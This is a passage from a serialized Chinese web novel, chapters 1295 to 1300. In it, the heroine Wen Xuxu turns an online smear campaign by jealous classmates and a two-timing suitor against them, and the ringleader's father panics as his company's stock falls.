“建议赵文彦改名叫‘赵文忙’,毕竟他太忙了,忙着给A发早安,给B订餐厅,给C说晚安。他不是在谈恋爱,他是在运营一个‘情感外包公司’。” “温栩栩这一手,不仅是反击,更是立威。她告诉所有男人别以为我好拿捏。你若敢骗我,我就让你身败名裂。” 第1295章 价值观被金钱和阶级扭曲了 “现在最惨的不是赵文彦,是那些还在为他说话的粉丝。他们还在喊‘哥哥是被冤枉的’‘温栩栩太狠了’,可证据都摆脸上了,你们是瞎还是蠢?支持渣男,等于自认低智。” “最爽的是,温栩栩全程没骂一个脏字,却让赵文彦无地自容。她不需要泼妇骂街,她只需要展示事实,就能让全世界看清他有多下作。” 赵文彦的微博评论区彻底沦陷。最新的直播宣传微博下,清一色的“烛光晚餐预定吗?”“建议加场‘同时约会’特别篇”“深情男主?不,是时间管理渣男”。 粉丝掉得比雪崩还快,品牌方连夜发声明终止合作。 “这个赵文彦可不是个傻子。” 一条看似轻描淡写、实则暗藏锋芒的评论,像一根火柴,瞬间点燃了早已干柴堆积的网络舆论场。 发帖人语气带着几分讥讽与不屑,缓缓道来:“赵文彦长得还是可以的,眉眼端正,气质清俊,往那一站,确实能唬住一群少女心。可问题是他图的压根不是美女,是钱。是资源,是背景,是能让他一步登天的‘金钥匙’。” “我特地去A大那个八卦论坛转了一圈,”发帖人继续写道,“笑死我了。一群中等家族的帝都千金,一个个顶着大号小号,在暗地里疯狂提温栩栩的名字,表面是讨论,实则是围攻。说什么‘温栩栩身份排不上号’‘不知道有多少人喜欢赵文彦,想和他在一起’,还冷嘲热讽温栩栩是‘空有美貌的孤儿院小可怜’,说她‘没爹没妈,靠脸吃饭’,简直三观歪到令人发指。” “最可笑的是,这群人根本不是真心喜欢赵文彦,”发帖人冷笑,“她们就是想让赵文彦当上门女婿,入赘她们家,给她们家族当‘赘婿工具人’。可偏偏赵文彦还就吃这一套—,他不就是个职业‘软饭王’吗?从头到脚,精打细算,谁家资源多,他就往谁身边贴。谁家千金愿意为他砸钱铺路,他就对谁温柔体贴。感情?恋爱?在他这儿,不过是交易的包装纸。” “那个学院的王小姐,王双双,”发帖人语气一转,带着几分玩味,“好像最喜欢贴着赵文彦,走路都要挨着他半步,拍照永远站C位。我一开始还以为是巧合,结果翻了翻校园论坛的旧帖,好家伙,王双双简直就是温栩栩的‘头号黑粉’。只要温栩栩出现,她必出面踩一脚,不是说她‘装清高’,就是说她‘心机深’,甚至还有人发帖问‘温栩栩到底有什么了不起’,王双双亲自下场回帖:‘不过是个没人要的孤女,靠脸博关注罢了。’” “我看到这些的时候,都要气笑了。”发帖人语气陡然冷了下来,“这群人,真的了解温栩栩吗?他们对温栩栩的评价,全浮在表面,什么‘长得太漂亮’‘像个狐狸精’‘一看就不是省油的灯’。理由呢?就因为温栩栩长得太美,美得让他们不舒服,美得让他们心生嫉妒,所以就给她扣上‘妖艳贱货’的帽子。可笑至极!他们只看到她的脸,就断定她是个花瓶,是个靠男人上位的‘狐媚子’。” “这已经不是无知了,是恶毒。”发帖人总结道,“是阶级优越感作祟下的集体霸凌。他们自诩‘贵族千金’,觉得温栩栩出身孤儿院,就是低人一等。可他们忘了,真正的高贵,是修养,是格局,是能力,而不是一张祖上积德的户口本。” 这条帖子一经发出,瞬间引爆全网。 无数网友涌入A大八卦论坛,开始“考古”那些被掩埋的旧帖。很快,大量截图被扒出,证据确凿,令人瞠目。 截图一: 某ID为“双双是光”的用户发帖:“温栩栩又在教授办公室待到晚上九点,也不知道在干什么,是不是想勾引导师?” 底下回复:“笑死,她这种没背景的人,不靠身体靠什么?”“建议她去拍偶像剧,别浪费这张脸。” 截图二: 王双双亲自下场:“有些人啊,明明什么都没有,还总想装得清高。赵文彦多优秀的人,怎么可能看上她?也就她自己幻想罢了。” 配图是赵文彦和王双双在校园咖啡厅的合照,她刻意P图让自己看起来更贴近他。 截图三: 匿名帖:“温栩栩是不是整容了?怎么越长越像某个网红?” 回复:“整没整容不知道,但肯定整过心机,不然怎么能把教授都哄得团团转?” 截图四: 有人提问:“赵文彦到底喜欢谁?” 高赞回复:“当然是王双双啊!人家家里有矿,赵文彦不傻,知道谁才是能带他飞的人。温栩栩?顶多是个备胎,长得好看点的工具人罢了。” 因为这些截图,网友都被气懵了。 “我真是开了眼了。这群所谓的‘贵族千金’,三观烂得像发霉的馒头。她们以为自己是谁?皇室公主?还是上流社会的审判官?就因为温栩栩出身孤儿院,就被她们集体排挤、污名化?她们的优越感是从垃圾桶里捡来的吗?” “最恶心的是她们对‘美’的敌意。温栩栩长得漂亮,不是她的错,可她们却把‘美’当成原罪,说她是‘狐狸精’‘心机女’。说白了,就是嫉妒。她们自己长得普普通通,家世也就那样,只能靠踩别人来抬高自己。王双双更是典型,自己贴着赵文彦不放,却骂温栩栩‘勾引男人’,你才是那个最想把男人绑在身边的吧?” “这些言论已经涉嫌名誉侵权和网络暴力了。温栩栩如果愿意,完全可以起诉这些人。尤其是那个‘双双是光’,频繁发布不实言论,恶意中伤,证据确凿。建议温老师直接发律师函,让这群人知道,欺负人也是要付出代价的。” “笑死,这群人还觉得自己多高贵呢?中等家族?帝都千金?说白了,就是有钱但没文化,有势但没格局。真正的大世家子弟,谁会天天在论坛上骂一个女生‘孤儿’‘没背景’?真正有教养的人,懂得尊重他人,而不是靠踩人来刷存在感。” “我就是A大毕业的,可以作证。王双双那群人,平时成绩平平,靠家里捐楼进的学生会,却天天在论坛上自封‘名媛’,真是笑掉大牙。” “这件事最可怕的不是她们说了什么,而是她们的思维方式。她们认为‘出身决定一切’,认为‘没有背景的人不配优秀’,认为‘女人的价值在于被男人选择’。这种思想,简直是现代社会的毒瘤。她们不是在维护阶级,她们是在维护愚昧。” “赵文彦这种男人,就是她们这种‘贵族千金’养出来的。她们一边鄙视温栩栩‘没背景’,一边疯狂追捧赵文彦这种‘软饭男’,还觉得他‘上进’‘有野心’。可笑!真正的上进是靠自己,不是靠攀附女人。她们的价值观,早就被金钱和阶级扭曲了。” 第1296章 真当全网都是瞎子? 这场风波,早已不止是个人恩怨,它折射出的是当下社会中一种令人痛心的现象,女性之间的恶意,往往不是来自性别压迫,而是来自阶级傲慢与内部撕裂。 那些自诩“贵族千金”的女孩,她们本可以成为温栩栩的盟友,她们本可以一起对抗这个对女性充满偏见的世界。 可她们没有。 她们选择站在高台上,用“出身”作为标尺,去丈量一个女孩的价值。 她们把温栩栩的独立、坚强、优秀,看作是对她们“特权地位”的威胁。 于是,她们联合起来,用语言暴力、舆论围剿,试图将她拉下神坛。 而她们追捧的赵文彦,却是一个彻头彻尾的投机者。他看透了这群人的心理,她们渴望“体面”的联姻,渴望一个“帅气有才”的男人来装点门面。 于是他精准出击,一边接受王双双的追捧,一边吊着温栩栩的追求者人设,左右逢源,游刃有余。 他不是爱情的参与者,他是这场“阶级游戏”的操盘手。 可笑的是,王双双们还觉得自己是赢家。她们以为赵文彦会为了她们的家世低头,会为了资源入赘。 可她们忘了,像赵文彦这样的男人,永远不会真正属于谁。他只会属于资源本身。一旦有更粗的大腿,他会毫不犹豫地转身离开。 而温栩栩,从始至终,都没有参与这场游戏。 网络上讨论这件事的人也越来越多。 【糖水点心爆米花】:刚从A大论坛回来,整个人都气笑了,还有一群人在那儿信誓旦旦地说温栩栩是因为在夜店劈腿别人才被分手的?笑死,真是造谣不打草稿!可笑的是,这些无脑言论背后,根本就是一场精心策划的抹黑行动。现在怎么样?造谣的营销号已经被黎氏娱乐的宋律师正式发函警告,吓得立马删视频、删照片,还紧急发布声明,承认所谓“温栩栩夜店出轨”的内容纯属捏造,毫无事实依据!这下打脸打得啪啪响,真是活该! 更可笑的是,那群跟王双双玩得好的“姐妹团”,一个个站在所谓“朋友”的立场上,嘴上说着“为温栩栩可惜”,实则字里行间全是在洗白王双双,把脏水一股脑泼向温栩栩。 她们打着“客观分析”“听说了一些内情”的旗号,暗戳戳引导舆论,说什么“温栩栩本来就不够专一”“赵文彦也是被逼无奈”……呸!谁不知道她们平日里就跟王双双穿一条裤子?这种时候跳出来当“正义使者”,谁信? 不就是想用“闺蜜视角”给王双双铺路,顺便把温栩栩彻底钉在耻辱柱上吗?渣男贱女,狼狈为奸,真当网友是傻子? 好在天理昭昭,纸包不住火。 温栩栩的回应微博一发,瞬间被顶上热搜第一。 她没哭没闹,只是冷静地放出了几条时间线截图,清晰地展示了从她被拍下模糊照片,到赵文彦突然提出分手,再到他火速与王双双同框出行的全过程。 每一步都像一把刀,精准地剖开了这场背叛的真相。 更绝的是,当初那三个最起劲黑她的营销号,现在居然反手就转发了温栩栩的微博,还配上“支持温栩栩,坚决抵制网络暴力”的文案,装得跟真的一样! 这一操作直接把温栩栩的粉丝笑喷了。 评论区瞬间炸锅。 “哟,这不是之前说温栩栩‘私生活混乱’的那几位吗?怎么,宋律师的律师函比你们的良心管用?” “前几天还在带节奏,今天就洗白转粉?你们的节操呢?” “怕了?知道黎氏娱乐不是好惹的就赶紧跪了?早干嘛去了!” 三人组苦不堪言,评论区被冲得七零八落,连解释的机会都没有,因为事实就摆在那儿,他们就是被收买造谣的工具人! 而温栩栩,也正因这场风波,再度爆火。她最近因为一段舞台直拍视频出圈,舞蹈干净利落,眼神坚定有力,气质清冷又不失锋芒,瞬间圈粉无数。但凡跟她有关的话题,总能迅速登上热搜,流量高得惊人。 这次事件一出,她的热度更是直接飙升。 她转发了赵文彦的微博,并紧跟着发了一条意味深长的回应:“有些人的‘新生活’开始得真快,快到让人怀疑,过去的感情是否从来都不曾被认真对待过。” 这一句话,看似平静,实则字字带刺,精准地剖开了赵文彦那层虚伪的伪装。 要知道,赵文彦是在温栩栩被诬陷、全网骂声一片的“特殊时段”突然提出分手的,跳出来嘲讽温栩栩的。 偏偏赵文彦还装得特别无辜,发了一条微博:“过去的事就让它过去吧,人生总要向前看,开启新的生活。”配图是一杯咖啡和一束阳光,营造出一种“我已释怀、我很大度”的白莲人设。可明眼人一眼就看穿了他暗搓搓的潜台词——“温栩栩你别再哔哔了,你已经被甩了,别影响我搞到真白富美王双双的好事!” 这操作,真是把“无耻”两个字刻在了脑门上。 一边背叛,一边甩锅,一边还要立深情男主人设,真当全网都是瞎子? 而且最重要的是两人真的完全没有谈过恋爱,也不知道赵文彦的脸怎么能大成这样,好像温栩栩真的是她曾经的恋人一样,说的那些话怎么看怎么不要脸。 温栩栩粉直接怒了,评论区瞬间被屠,各种质问、嘲讽、扒黑料的言论刷屏。 赵文彦一开始还试图装死,后来见舆论彻底失控,连粉丝都开始脱粉回踩,终于不敢再随意开麦,只能默默删评论、关私信,缩在角落里装透明。 而王双双,更是被扒了个底朝天。 有人放出了她和赵文彦的亲密合照,不是普通同框,而是搂腰、贴脸、对视微笑的那种,拍摄时间赫然显示在温栩栩被猛烈追求的那段时间! 也就是说,赵文彦一边对温栩栩甜言蜜语、高调示爱,一边却已经和王双双暗通款曲,甚至可能已经发展到了亲密关系。 更令人震惊的是,A大校园论坛早就有线索。 第1297章 反水 一些跟王双双关系不错的“朋友”,曾在微博小号、朋友圈、甚至匿名社交软件上偷偷发过赵文彦和王双双站在一起的照片。 有的是两人在餐厅吃饭,有的是同框自拍,甚至还有赵文彦给王双双披外套的瞬间。 而这些照片的发布时间,全都在赵文彦追求温栩栩最高调的时期,赵文彦跟温栩栩示爱的时候还不忘记跟王双双暧昧吃饭去酒店。 这说明什么? 说明赵文彦和王双双早就暗搓搓搞到一起了! 他们的“新恋情”根本不是偶然,而是早有预谋的背叛。 温栩栩,不过是一枚被利用后抛弃的棋子。 再结合后来温栩栩在夜店被人设计拍下模糊照片、迅速在A大传播的事,细想之下,简直可怕至极。 那张照片角度刁钻,光线昏暗,明显是有人故意蹲点、蓄意拍摄。而传播速度之快,范围之广,绝非普通路人所为。 背后若没有推手,谁信? 那么,到底谁会对温栩栩有这么大的恶意? 谁最希望她身败名裂、被全网唾弃? 答案不言而喻——王双双。 她嫉妒温栩栩的才华、人气、外貌,更嫉妒她能有一张赵文彦喜欢的脸。 现在看来,温栩栩的很多黑料根本就是无稽之谈。那些所谓的“绯闻”,要么是被恶意剪辑,要么是纯属巧合。而真正玩弄感情、脚踏多船的,反而是赵文彦和王双双这对“狗男女”。 如今,赵文彦的评论区已成大型审判现场,粉丝脱粉、路人嘲讽、媒体跟进,他的演艺事业基本宣告凉凉。不,可以说是演艺事业还没开始就已经彻底凉了。 而王双双,也被扒出曾多次介入他人感情,是圈内有名的“情感狙击手”。她的社交账号下,全是“渣女退散”“别污染娱乐圈”的怒骂。 反观温栩栩,人气不降反升。 圈内八卦号【爆炸草莓】也 参与进了这场风暴中心。 “这故事不是很明显吗?两渣相遇,天雷勾动地火,联手设局,暗害主角,可主角岂是任人揉捏的软柿子?温栩栩,从被背叛、被抹黑、被全网围攻的深渊中一步步爬起,发愤图强,逆风翻盘,最终站上万众瞩目的演艺圈舞台,这不就是现实版的大女主逆袭剧本吗?” “温栩栩!遇见渣男贱女,不是你的错!你要知道,电视剧里、里,所有被背叛、被陷害的主角,最后不都活成了光芒万丈的模样?她们在泥泞中挣扎,在黑暗中哭泣,可最终,都用实力和坚韧撕碎了谎言,踩着流言蜚语登顶巅峰。而你,温栩栩,正在书写属于你自己的传奇!我们的好日子,才刚刚开始” 这则评论一出,瞬间在微博、A大论坛、豆瓣小组、抖音热评区全面发酵,火得一塌糊涂。 温栩栩的粉丝们纷纷顶帖、转发、泪目留言。 “说得太对了!” “姐姐值得这一切!” “我们陪你一起逆风翻盘!” 评论区被“温栩栩加油”“正义也许会迟到,但从不会缺席”刷屏,仿佛一场无声的集结号,将散落在各地的支持者凝聚成一股不可忽视的力量。 现在,还需要说什么吗?事实早已清晰明了。 不管赵文彦和王双双后期有没有继续陷害温栩栩,光是赵文彦在热烈追求温栩栩的同时,还与王双双暗通款曲、亲密同框,就已经足够证明他是个彻头彻尾的渣滓,一个披着深情外衣的情感骗子。 他的“温柔”是表演,他的“专一”是伪装,他的“分手”是早有预谋的抛弃。 而温栩栩,只是发了一条微博,语气克制,措辞冷静,甚至没有点名道姓,仅仅用一句“有些人,转身的速度比风还快,快到让人怀疑,那段感情是否从来都不曾被认真对待过”,便如一颗投入平静湖面的石子,激起了千层浪。 粉丝和微博路人,早已不是被动接受信息的看客。 他们成了温栩栩的“眼睛”,她的“耳朵”,她的“正义之枪”。 他们自发组织,人肉时间线,扒出亲密照,整理聊天记录截图,甚至翻出A大论坛的历史帖子,将赵文彦和王双双的每一步操作都公之于众。 他们不是在“网暴”,而是在“还原真相”。 而这场网络舆论的风暴,最终将一个隐藏极深的名字推到了风口浪尖——苏婉。 有人扒出了苏婉在A大论坛的账号,ID叫“婉婉爱吃草莓”,注册时间早,发帖量高,且几乎每一条与温栩栩相关的帖子下,都有她的身影。 她不是中立讨论,而是主动出击,用最恶毒的语言攻击温栩栩。 “心机女” “靠脸吃饭” “装清高” “早就听说她私生活混乱” “赵学长甩她是迟早的事” …… 这些词语,连温栩栩的粉丝和普通路人都看得心惊。 一个从未与温栩栩有过交集的人,为何对她有如此深的敌意? 为何要在她还未正式进入娱乐圈、尚未拥有任何资源时,就迫不及待地展开全方位的人身攻击? 更令人震惊的是,早在温栩栩进入《灵媒》剧组之前,苏婉就在论坛上发起了一波“黑温专楼”,从她的外貌、家境、学业成绩,到她的社交圈、恋爱史,无一放过。 她甚至编造了“温栩栩曾勾引已婚教授”“温栩栩靠潜规则拿到校庆主演”的谣言,配以伪造的聊天记录和模糊照片,煽动不明真相的学生群体对她进行网络霸凌。 由此可见,苏婉对温栩栩的恨意,绝非空穴来风。 它像一株在阴暗角落里悄然生长的毒藤,从最初得知温栩栩存在的那一刻起,就已生根发芽。 而她与王双双的关系,更是耐人寻味,两人虽未公开结盟,但苏婉的每一次发言,都精准配合王双双的节奏,仿佛是她手中最锋利的一把暗刃,专挑温栩栩最脆弱的时候出手。 王双双想借舆论之手彻底摧毁温栩栩的声誉,可她低估了温栩栩。温栩栩用一条微博、一段回应、一次沉默的转发,完成了最漂亮的“反水”。 第1298章 这么得意嚣张? 她没有哭诉,没有撕扯,只是轻轻一推,便让整个舆论场自行运转,将真相一点点挖出。 而苏婉,原本已经战战兢兢、不敢再随意开麦,结果再度被卷入这场不见硝烟的战争。 她的账号被曝光,个人信息被扒,过往的恶毒言论被做成合集全网传播,连她所在的学院都收到了匿名举报信,质疑其品行是否符合大学生标准。 曾经在论坛上耀武扬威的“婉婉爱吃草莓”,如今成了人人喊打的“网络喷子”,连现实中的朋友都开始疏远她。 她终于尝到了自己种下的苦果。 这场网络谣言战争,从一开始,就注定了结局。 赵文彦想用“快速分手+新恋情”来洗白自己,却暴露了他薄情寡义的本质,王双双想借“白富美上位”来洗刷“小三”标签,却暴露了她心机深沉的手段,苏婉想用“舆论围剿”来满足自己的嫉妒与快感,却最终被反噬,沦为笑柄。 而温栩栩,没有主动出击,却成了最大的赢家。 骂战还在继续,但显然骂温栩栩的人已经少了。 一条新的微博却被顶上去。 【李英杰】:温栩栩小姐很优秀,以后会取得更多荣耀,这些败类不配与你为伍。 这条微博,看似平平无奇,实则暗流汹涌。 发布者李英杰,帝城商界中不算顶尖豪门,却也是实打实的上市公司掌舵人,名下产业横跨地产与科技,在资本圈里说话有分量,人脉广布,连不少世家子弟见了他都要客客气气喊一声“李总”。 他向来以“识时务者为俊杰”自居,眼不瘸、心眼多,最擅长审时度势、顺势而为。 而这一次,他选择在风口浪尖上,公然为温栩栩发声。 这不是简单的“点赞支持”,而是一次极具象征意义的站队。 要知道,李英杰此前与温栩栩并无交集,甚至在王双双的圈子里,他还曾被传是“潜在金主”之一。可如今,他却在温栩栩被全网围攻、赵文彦与王双双试图联手洗白的关键时刻,毫不犹豫地站了出来,用一句“这些败类不配与你为伍”,将赵文彦、王双双乃至他们背后那群造谣者,统统划入“败类”行列。 这话说得狠,也说得准。 更令人玩味的是,他发得如此“大大方方”不躲不藏,不加解释,仿佛在说,我就是支持她,你们爱怎么想都行。 而正因如此,反而更显得他与温栩栩之间清清白白,毫无瓜葛。 若真有私情,反倒会避嫌,怕惹人非议。可他偏不,越是光明正大,越说明他背后有底气,也越说明,他早已看清局势:温栩栩,才是那个值得押注的“未来”。 李英杰这一举动,无疑是给温栩栩的舆论战添了一把猛火。 原本还在观望的媒体纷纷跟进报道。 “商界大佬力挺温栩栩” “李英杰公开谴责网络暴力” 热搜词条瞬间飙升。 而赵文彦和王双双的处境,则彻底陷入被动。 他们想反驳,却不敢。 毕竟,李英杰不是普通网友,他是有实权、有资源、有影响力的“帝城人物”。得罪他,轻则项目被卡,重则股价崩盘。而王氏集团,恰恰正处于一个敏感时期。 于是,王氏股票应声下跌。 当天午后,股价一路狂泻,市值蒸发数千万。 投资者恐慌抛售,财经论坛上全是“王氏内斗”“王双双人设崩塌影响企业形象”的讨论。 王双双在办公室气得摔碎了三个杯子,脸色铁青,几乎晕厥。 她终于意识到,这场舆论战,她输了。 不是输在口舌,而是输在格局、输在人心、输在那些曾经以为可以操控的“棋子”,如今却一个个倒戈相向。 她慌了。 她知道,再这样下去,不只是她的名声,连家族企业都要被她拖垮。 于是,她抓起手机,拨通了温栩栩的电话。 第一遍,被摁断。 第二遍,又被摁断。 第三遍,温栩栩终于接了。 电话那头,是王双双咬牙切齿的怒吼:“温栩栩!你到底想怎样?你以为你赢了?你不过是个被男人甩了的可怜虫,现在靠几个男人给你撑腰就觉得自己了不起了?” 温栩栩没说话,只是轻轻笑了。 她睫毛微颤,眼底却盛满了狡黠的光,黎云笙就坐在她身旁,长腿交叠,一手撑着下巴,静静地看着她,像在看一场早已预料到的戏剧。 温栩栩慢悠悠地把手机从耳边拿开,开了免提,然后才轻声道:“我在跟阿笙一起。” 一句话,如冰水浇头,瞬间让王双双的怒火凝固。 她愣住,声音都变了调:“你……你说什么?黎云笙?你和黎云笙在一起?” 温栩栩没回答,只是侧头看向黎云笙,眨了眨眼,带着几分撒娇的意味:“阿笙,她好像不信呢。” 黎云笙轻笑一声,伸手揉了揉她的发,声音低沉而温柔:“这么得意嚣张?” 温栩栩笑容有些坏坏的,像极了一肚子坏水的红毛狐狸,一副被黎云笙即将惯坏的模样。她故意拖长了语调,对电话那头的王双双说:“听到了吗?他全部都能听到。” 那一刻,王双双只觉得脑子里“嗡”的一声,仿佛有千万根针在扎。 她想骂,想吼,想撕碎一切,可最终,也不敢真的太过嚣张,她得罪不起李英杰 更得罪不起黎云笙,她现在甚至都不敢真的挂电话。 温栩栩看着手机屏幕,笑意却未减。 她转头看向黎云笙,眨了眨眼:“我是不是太坏了?” 黎云笙撩起眼皮,上下扫了遍她那副得意洋洋、尾巴都快翘到天上去的模样,扬了下眉,低笑:“果然又去使坏了,还真是不肯吃亏的小狐狸。” 他伸手将她拉进怀里,下巴轻轻抵在她发顶:“可我就是喜欢你这样,谁欺负你,你就十倍奉还。聪明,狠辣,又可爱。” 温栩栩在他怀里蹭了蹭,像只终于报了仇的狐狸,心满意足地闭上眼:“因为他们以为我是软柿子,可我偏偏,最讨厌被人捏。” 而这场战争,从她决定不再沉默的那一刻起,就注定了结局。 李英杰的站队,不是偶然,而是必然。他看得清谁才是真正的“潜力股”。 温栩栩有才华、有背景、有黎云笙的庇护,他疯了才会战队王双双那个蠢货。 第1299章 慌乱 王氏集团总部,顶层总裁办公室。 落地窗外是城市最繁华的天际线,阳光本该洒满整个空间,可此刻,这间曾象征着权力与财富的办公室,却像一座即将崩塌的危楼,弥漫着压抑到令人窒息的死寂。 王建豪瘫坐在宽大的真皮座椅上,手中紧握着平板,指节因用力而泛白,额角青筋暴起,冷汗顺着太阳穴滑落,浸湿了昂贵的定制西装领口。 他的呼吸急促而紊乱,胸口剧烈起伏,仿佛刚从一场噩梦中惊醒,可现实却比噩梦更令人绝望。 屏幕上,王氏集团的股票K线图正以一种近乎自由落体的速度暴跌—,红色的曲线像一把利刃,狠狠刺穿了所有人的希望。 短短几个小时,市值蒸发数千万,交易量却异常活跃,全是清一色的抛售单,如同潮水般涌来,将王氏的股价推向深渊。 “怎么会……怎么会这样?!”王建豪喃喃自语,声音颤抖,带着不敢置信的恐慌。 他一开始根本没把网络上的风波当回事。女儿王双双在社交平台发了几条针对温栩栩的帖子,无非是些“孤儿院出身、心机深沉、攀附权贵”的贬低言论,配上几张刻意剪辑的照片。他看过一眼,只觉得女儿任性,但也没多想。 在他眼里,温栩栩不过是个无依无靠的孤女,一个从福利院走出来的普通人,能掀起什么风浪? 他王建豪在商界纵横多年,什么样的人没见过?一个温栩栩,他动动手指就能碾碎。 他甚至还有些得意,王双双这性子,像他。强势、不讲情面,懂得用舆论施压。他年轻时不也这样?为了利益,什么手段都用过。 他不是什么好人,也从不指望女儿是什么善类。真要是好人,也养不出王双双这脾气。 更何况,他对温栩栩本就心存怨恨。 几年前,他曾试图“关照”温栩栩,名义上是投资她所在的公益项目,实则是想将她纳入自己的掌控之中。 他自诩风流,以为金钱与地位足以让任何女人屈服。可温栩栩却在他办公室里,抄起一个水晶花瓶,狠狠砸在他额角,鲜血瞬间染红了衬衫。她眼神冰冷,毫无惧色,甚至用手机拍下了他狼狈不堪的瞬间,衣衫不整、额头流血、神情狰狞。 “王总,如果您再敢碰我一下,这些照片明天就会出现在所有媒体头条。”她的声音平静得可怕。 王建豪当时暴怒,却最终没敢轻举妄动。 他是个企业家,要脸面,更要声誉。 他有实力让温栩栩消失,可一旦她真的狗急跳墙,把那些照片公之于众,他将面临前所未有的信任危机。他只能咬牙忍下这口恶气,从此对温栩栩恨之入骨。 所以当王双双告诉他,她要“教训”温栩栩时,他非但没有阻止,反而暗中默许。他心想让她吃点苦头也好,看她还能嚣张到几时。 可他万万没想到,事情会失控到这种地步。 起初,他只当是网络舆论的短暂喧嚣,过几天就会平息。可当他真正静下心来,点开热搜榜单,一条条翻看那些帖子时,整个人如遭雷劈,浑身冰冷。 #温栩栩被恶意网暴# #王双双造谣攻击孤女温栩栩# #温栩栩律师函已发出# 他点开那封律师函的配图,瞳孔骤然收缩。 发函律所的抬头赫然在目——“宋婉榕律师事务所”。 而宋婉榕是谁? 那是黎云笙的御用律师!是那个在商界、政界、法律界都令人闻风丧胆的“铁腕女王”!她从不接普通案子,只服务于极少数顶级权贵。而她最著名的客户,正是黎云笙。 黎云笙从不轻易出手,可一旦他出手,对手往往连翻身的机会都没有。他曾用三个月时间,让一家市值百亿的上市公司破产清算,只因那家公司得罪了他的朋友。 而如今,宋婉榕以温栩栩代理律师的身份发出正式律师函,措辞严厉,声明将追究所有造谣者、网暴者的法律责任。 这不仅仅是一封律师函。 这是宣战书。 是黎云笙在向所有人宣告,让圈内人都清楚温栩栩,是他的人,动不得。 王建豪的手开始颤抖,平板“啪”地一声掉在桌上。他猛地站起身,踉跄几步冲到窗前,望着楼下川流不息的车流,只觉得天旋地转。 “黎云笙……黎云笙护着她?!”他喃喃自语,声音里满是恐惧,“温栩栩……她怎么可能……怎么可能攀上黎云笙?!” 他无法接受那个他曾想包养、却被反手砸头的孤女,那个他以为可以随意拿捏的女人,竟然背后站着黎云笙这尊大佛?! 而他,却因为女儿的任性,亲手把王家推向了悬崖边缘。 “蠢!蠢透了!”王建豪一拳砸在玻璃上,发出沉闷的响声,掌心火辣辣地疼,却远不及他内心的煎熬。 他太清楚黎云笙的手段了。那人从不亲自下场,却总能用最合法、最体面的方式,将对手彻底碾碎。他可以让你的融资被拒,让你的项目被查,让你的合作伙伴纷纷撤离。他不需要动手,只需一个眼神,就能让你在商界寸步难行。 而王家,不过是个中型家族企业,根基不稳,抗风险能力极差。一旦被黎云笙盯上,别说未来的发展,能保住现有产业都是奢望! “王双双!王双双!!”他怒吼着,颤抖着掏出手机,手指几乎按不稳号码。 电话接通的那一刻,他再也压抑不住内心的暴怒与恐慌,对着听筒嘶吼而出: “你疯了吗?!你知不知道你干了什么?!你去招惹温栩栩?!你知不知道温栩栩是黎云笙的人?!” 他的声音尖锐而颤抖,带着前所未有的恐惧与愤怒,像一头被逼入绝境的野兽。 “你是不是脑子进水了?!你知不知道因为你这一时冲动,我们王家现在股价暴跌,几千万资产蒸发?!网络上多少人在骂我们?可那都是小事!小事!真正要命的是黎云笙盯上我们了!” 第1300章 怎么生了你这么个蠢货 他几乎是咆哮着,额角青筋暴起,眼眶充血。 “你知不知道黎云笙是谁?!他动动手指,我们王家就得从这座城市消失!你懂不懂?!” 电话那头,王双双似乎想辩解,可王建豪根本不给她机会。 “我平时怎么教你的?!做事之前先动脑子!可你呢?!仗着我给你撑腰,就无法无天?!你知不知道,温栩栩不是你能碰的人?!她背后站着的是谁?是黎云笙!黎家人都护短,都是疯子!” 他喘着粗气,声音里透出深深的绝望。 “我……我原本可以帮你摆平一切。只要你没惹到不该惹的人,我都能给你擦屁股。可你偏偏……偏偏去招惹黎云笙的人!你是不是想害死我?想害死整个王家?!” 他的声音忽然低了下去,带着一丝哽咽,那是恐惧到极致的崩溃。 “双双,你是我女儿,我疼你、宠你,可你这次……你这次真的把我害惨了……王家几十年的基业,可能就要毁在你手里……你知不知道,我现在连睡一觉的勇气都没有?我怕一睁眼,王氏就没了!” 他死死攥着手机,指节发白,整个人仿佛老了十岁。 “你现在立刻、马上,给我公开道歉!删掉所有帖子,发声明认错,态度要诚恳,要卑微!求温栩栩原谅!求黎云笙高抬贵手!不然……不然我们谁都别想好过!” 他几乎是哀求着说出这句话。 一个曾经不可一世的商人,此刻却在女儿面前低头,只为求一线生机。 “你听懂了吗?!这不是儿戏!这不是你争风吃醋的小打小闹!这是……这是能让我们全家破产、流落街头的灾难!” 电话那头终于传来王双双的声音:“爸……我……我不知道她……” “你不知道?!”王建豪怒极反笑,“你不知道就敢乱来?!你不知道就敢往枪口上撞?!我怎么生了你这么个蠢货!” 他狠狠挂断电话,将手机摔在地上,屏幕碎裂,像极了他此刻支离破碎的野心与尊严。 办公室里,死寂无声。 王建豪缓缓滑坐在地,背靠着冰冷的玻璃墙,双手抱头,肩膀微微颤抖。 他不是心疼那几千万的损失。 他是怕。 怕那个从不露面、却掌控一切的黎云笙,已经将目光投向了他。 怕王家几十年的基业,会因为他女儿的一时任性,毁于一旦。 怕他这一生的奋斗,最终只留下一个“被黎云笙碾碎”的墓志铭。 他这一辈子就真的全部被毁了。 王双双的指尖冰凉,手机从掌心滑落,砸在地毯上发出沉闷的响声。 那通电话来得太突然,她甚至只来得及说出一句:“爸,我……”话音未落,电话那头便是铺天盖地的怒吼,字字如刀,句句带血,还没等她反应过来,听筒里已只剩冰冷的忙音。 她愣在原地,心跳如鼓,呼吸急促得像是要从胸腔里炸开。 她从未见过父亲如此失态,那个在商场上运筹帷幄、永远冷静自持的王建豪,竟会用那样颤抖而绝望的语气对她咆哮。 那不是责备,那是恐惧,是濒临毁灭边缘的绝望。 “到底……发生了什么?”她喃喃自语,声音轻得几乎听不见。 她弯腰捡起手机,手指颤抖着解锁,指尖在屏幕上滑动得极不稳。她点开社交平台,热搜榜单赫然在目。 #王双双网暴温栩栩# ——热搜第一 #温栩栩被恶意造谣# ——热搜第三 #王氏股价暴跌# ——热搜第五 #黎氏为温栩栩出头# ——热搜第七,词条后还挂着一个醒目的“爆”字 王双双的瞳孔骤然收缩,呼吸一滞。 她点进第一个词条,铺天盖地的评论如潮水般涌来全都是辱骂她的,各种脏话荡妇羞辱吗,曾经辱骂温栩栩的那些话现在都重新砸到她的身上。 每一条评论都像一记耳光,狠狠抽在她脸上。 她手指发抖,点开自己发布的那几条帖子,底下早已被骂声淹没。曾 经的点赞和转发如今成了耻辱的印记,像烙印一般刻在她的名字上。 她翻到温栩栩的账号,对方并未回应,只发了一条平静的声明:“清者自清,法律会还我公道。”配图是律师函的截图,落款赫然是宋婉榕律师事务所。 王双双的唇瓣剧烈哆嗦起来,脸色惨白如纸,连指尖都泛着青灰。 